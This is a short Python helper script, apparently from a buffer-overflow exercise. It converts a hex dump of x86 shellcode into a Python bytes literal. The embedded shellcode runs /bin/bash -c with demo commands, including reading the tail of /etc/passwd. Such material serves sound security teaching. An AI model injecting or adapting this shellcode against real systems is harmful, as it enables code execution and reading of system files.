#!/usr/bin/python3

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""
eb2c5931c088411988411c31d2b2d088
04118d591089198d411a8941048d411d89410831
c089410c31d2b00bcd80e8cfffffff4141414142
42424243434343444444442f62696e2f62617368
2a2d632a2f62696e2f6c73202d6c3b206563686f
2048656c6c6f2033323b202f62696e2f7461696c
202d6e2032202f6574632f7061737377643b2020
20202020202020206563686f3b20202020202020
20206563686f202231323334223b206563686f20
353637383b202020202020202020202020202020
202020202020202070696e67202d632032203132
372e302e302e3120262020206563686f20393939
3920202020202020202020202020202020202020
2020202a
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15: 
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)


